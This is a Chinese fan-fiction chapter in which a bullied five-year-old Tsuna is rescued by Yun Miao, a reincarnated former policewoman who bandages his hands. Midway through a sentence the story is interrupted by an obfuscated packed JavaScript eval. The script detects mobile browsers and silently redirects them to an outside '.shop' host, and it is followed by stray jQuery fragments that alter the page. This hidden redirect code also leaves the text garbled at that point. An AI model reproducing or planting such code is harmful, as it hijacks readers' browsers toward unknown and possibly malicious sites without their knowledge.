五岁的沢田纲吉从来都不觉得自己是个幸运的孩子,或者说,幸运之神根本就从没眷顾过他吧。
在他还不懂恶意为何物的时候,关于他没有父亲的言论就在同学中流传开来,他也尝试过反驳说妈妈说爸爸他是变成星星飞走了,但他们的眼神却更加奇怪,再加上他的成绩不好,也没有运动神经,做游戏的时候总是拖后腿,逐渐被其他人排挤欺负也是件常见的事情。
纲吉在同龄人中体型偏小,腿短手短,四肢也没什么力气,那头遗传母亲的棕色发丝一点不顾及主人的想法,似乎是把非洲草原上的草当作了学习目标,自顾自地野蛮生长成了炸毛刺猬头,圆溜溜的棕色眼睛长在那张婴儿肥微微下垂的脸上,柔软可爱,他坐在秋千上,很希望能和其他小朋友们一起玩,可偏偏其他人见了他都会往旁边散去,不理他,纲吉不明白这是为什么。
“算啦,没关系的,我自己也可以的。”纲吉小声安慰好了自己,决定好好玩自己的秋千,他努力地伸腿,勉强蹬了下地面,秋千的两根绳子便犹如一位慈祥的老者慢慢随风晃着发出吱呀的声音哄着那年幼的孩子。
看,我自己也可以玩的好秋千嘛,这没什么难的。
就在纲吉享受微风带来宁静时,刚散开的一些孩子们见他玩得开心,对视了一眼又围上来了,阳光被他们团团遮住,眼前一黑的纲吉睁开眼,茫然极了,为首的男孩叉着腰,理直气壮地命令:“喂,废柴纲,你这种家伙就别霸占着秋千了,赶紧下来。”
“可是,是我先来的,更何况那里明明有空的秋千吧。”纲吉没忍住反驳,他不知所措地看向四周试图能找到帮自己的人,可其他孩子们被吵闹声吸引过来后都嘻嘻哈哈地和朋友说笑,没有一个人帮他说话。纲吉抿唇,他小小的身体里也藏着坚定,他咬牙和那个男孩对视,想得很有气势,可话说出口却又变得软弱起来,
“总…总之,我还想再玩一会。”
或许就是觉得东西是从别人那里抢过来的比较香,男孩看都没看旁边,不客气地蹬他:“你都玩了那么久了,赶紧下来!”
他上手就要把纲吉拽下来,纲吉被他吓了一跳,下意识就往后倒去,秋千后面并没有防护。
“咿!”
可怜的纲吉直接掉了下来摔了个四脚朝天,大家还没来得及笑,那秋千在反作用力下这么一荡,在众人的目光中精准地砸到了男孩的鼻子,当场替纲吉报仇。
“嗷!”被木头这么一砸,男孩立即留下了两行鼻血,被他用手一摸,下半张脸全糊上了红色的血,这下连男孩的同伴都没忍住,扑哧扑哧地笑了出来。
诶?纲吉呆呆地坐起来,他还没反应过来就看见那个男孩脸气得涨成了猪肝,伸手一指:“好你个废柴纲!竟敢动手!你给我等着。”
他撸起袖子就扑过去揍他,纲吉可不笨,手忙脚乱地爬起来就跑,周围的孩子们开始吹口哨起哄:
“废柴纲快跑啊,要被追上了!”
“这一手反击还不赖嘛,就是摔倒时也太逊了!”
“喂!你们不会连废柴纲都追不上吧哈哈哈!”
这些声音逐渐被抛在身后,春日的风在跑起来时带着一层凉意,纲吉不擅长运动,他已经开始呼吸不畅了,欲哭无泪地大喊:
“又…又不是我揍的你,你追我干什么?”
他什么都没干啊!
男孩带着他的跟班紧追不舍,听到后想都不想地回怼:“是你让我丢脸的!我不揍你揍谁!”
这人根本不讲道理啊!纲吉吐槽,他的小短腿根本跑不快,两波人之间的距离越来越近,慌不择路下,他像无头苍蝇一样一头扎进了一条死胡同。
完蛋了。看着面前那他绝对爬不上去的高墙,纲吉实在跑不动了,往地上一坐,看着身后那些同样气喘吁吁的家伙,内心崩溃,所以说你们跑得那么累干嘛还要追我啊!
太阳快要落山了,街道上没多少人,金红色的光照不进胡同内,阴影仿佛可以藏住这里发生的一切,纲吉瘫在地上,破罐子破摔不再反抗,苦中作乐地想他们跑了那么久应该没多少力气了。
纲吉抽抽鼻子,委屈极了,他想起了昨天看的动画片,那是一部关于机器人和人类一起冒险的动画片,晚上被妈妈喊去睡觉的时候他还在回想。
要是能有一个大机器人来救我就好了。纲吉闭上眼睛。
“哒、哒、哒。”
不知道是不是巧合,在纲吉冒出那个想法没多久,胡同口传来了脚步声,冷淡得几乎听不出是个孩子的声音自众人身后幽幽传来:“你们是在欺负人吗。”
等等,他就是随口一说,真的有人来啊。察觉到自己似乎得救了的纲吉秒抬头,琥珀色的眼睛睁大了,那个纤细的身影带着巷口的辉光印入他的眼睛。
她看起来比纲吉大一点,站在巷口,姿态松散,金红色的太阳光打在她脸上,光与影的界限穿过她鼻梁上的一颗小痣,把她的脸利落地分成两半。
好…好强的气场。
她迈开步子,不急不躁地走近他们,没了光晕的干扰,她的面孔清晰地展现出来,如墨般被随意地洒在空中的黑色短发,宣纸一样白的皮肤,唇色极淡,鼻梁上的小痣扎眼,让人忍不住看过去随后又被那双灰色的,厚重似铁器的眼睛所吸引,她整个人宛若是从水墨画里走出来的。
不过……纲吉的目光看向了她带着黑色耳钉的耳朵,胸前挂着的夸张吊坠,胳膊上半掉不掉的外套,单肩背的书包,这个人明显比那些追我的人还像个不良啊!
似乎是为了映衬他的想法,少女嘴巴一动,口香糖在她口中吹出了一个泡泡。
就算是不良也不至于这么符合设定吧!纲吉在内心疯狂吐槽,他很快回神了,确定那个少女不是机器人,也只有她一个人,他不想让她也牵扯进来,声音颤抖但坚定:“快…快跑啊!”
但是并没有任何一个人理他。
男孩好不容易追上了目标,又被打断,当即挂脸了,转头想都不想就承认了:“是又怎么样,你谁啊管得着吗!”
少女的神色没有半分波动,她拿出纸巾,很有环保意识地把口香糖包好丢到垃圾桶里,随手把书包甩到一边,一耸肩,要掉不掉的外套服帖地搭回了肩上,下一秒她就出现在了男孩面前,男孩的表情瞬间变得惊恐,拳头在他眼前放大,接着他整个人就倒在了地上。
等一下,刚才发生了什么?!众人脑袋里的想法在这一刻达成了同步。
收拾完这些家伙废了云淼一分钟的时间,她拍拍手上的灰,没管那些试图爬起来逃走的家伙,毫无波澜的眼睛看向了那个还呆坐在地上的男孩。
云淼看上去是一个普普通通的不良,可实际上,她可是赶上了重生穿越潮流的重生者,前世死的时候似乎被地府流程遗忘直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942625|213960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接投胎重新做人,而曾经作为苗根根红的人民警察的她,在路过听到动静自然不能袖手旁观,便出手帮忙,那个小孩确实符合所有人对受害者的印象,即便她只能看到一片黑白灰,也依旧能看出那孩子的善良和柔软,想起了刚才他还让唯一可以救他的人跑,云淼叹气,走到他的面前,伸出了手,她还没说什么,纲吉立即抱头:
“等等!我…我和他们不是一伙的!”
揍了他们就不要揍我了!
她看上去有那么吓人吗。云淼想了想自己的着装,不确定起来,她前世作为警察,虽然去黑恶势力卧底了一段时间,但应该也不至于让孩子那么害怕吧。
整个小巷中都回荡着纲吉的声音,他等了半天,都没等到拳头,便试探性地把手移开,纲吉看到一只手放在自己面前,不良少女看上去没有半分不耐,灰色的眼睛垂下,安静地等他散去恐惧然后站起来,之前那些男孩早就跑没影了。
意外地是个好人诶。
纲吉咽了咽口水,试探性地抓住了那只手,稚嫩的声音吞吞吐吐:“谢…谢谢,请问你是……”
“云淼。”洛云淼抓着那只放入她手心的,似乎还有点擦伤的手,皱了皱眉,轻轻地把人拉起来,她的话很少,整个人都透着生人勿近的气质。
她不再抓着纲吉擦伤的地方,握着他的手腕,带他走到了巷口,捡起书包摸出一个一个白色小包,灰色的眼睛扫了他一眼:“把手伸出来。”
名字好特别啊……纲吉这么想着,听话地伸出手,一边看她打开小包一边小声感谢:“那个……虽然已经说过了,但还是想谢谢你……嘶!”
一根沾了酒精的白色棉签抚过他的伤口,他疼得差点咬到舌头。
好疼!
泪花在眼睛里闪烁,纲吉看到了那个白色小包露出的东西,酒精棉签纱布一样不落。
怎么会有人往书包里放这些东西啊喂!
似乎是发现他觉得疼,云淼的动作又轻上了不少,速度也很快,没多久就给他的手缠好了绷带。
“好了,身上还有那里受伤了吗?”云淼熟练地把医疗垃圾用小塑料袋装好丢进垃圾桶,认真地看着他,“有的话我来帮你处理一下。”
纲吉连忙摇头摆手,都快挥出残影来了:“没有没有,再次谢谢你!”
他之前怎么能说那么温柔的女孩子是不良呢。纲吉懊恼地低下头。
不明白眼前的人类幼崽在想什么只能看到一个灰色脑袋的云淼想了想,揉了一把他的头,松松把书包重新挂回自己的肩上,垂眸:“走吧,送你回家。”
手感不错。云淼看着那突然睁大的灰色眼睛,猛然炸开的稚嫩童音落入她的耳朵:“诶等等!云淼你要送我回去吗?!”
灰色的话,应该是浅色系吧。云淼缓缓点头,用一种不值得大惊小怪的口吻说着:“小孩子一个人回家不安全,我送你。”
完全没想到第一次和同龄人一起回家会是在这种情况下啊。但是,记得之前有人说过,一起回家的就是好朋友……不对,云淼只是好心……纲吉纠结地挠了挠脑袋,那头棕色的炸毛发丝更加凌乱了,虽然心里还在争辩,但他的脸上还是挂上了些许期待和感动的笑容,让那带着婴儿肥的脸即便是沾上了灰都显得那么耀眼:“好,真是麻烦云淼了!”
不管怎么说,这都是他第一次和别的同龄人正常搭上话呢。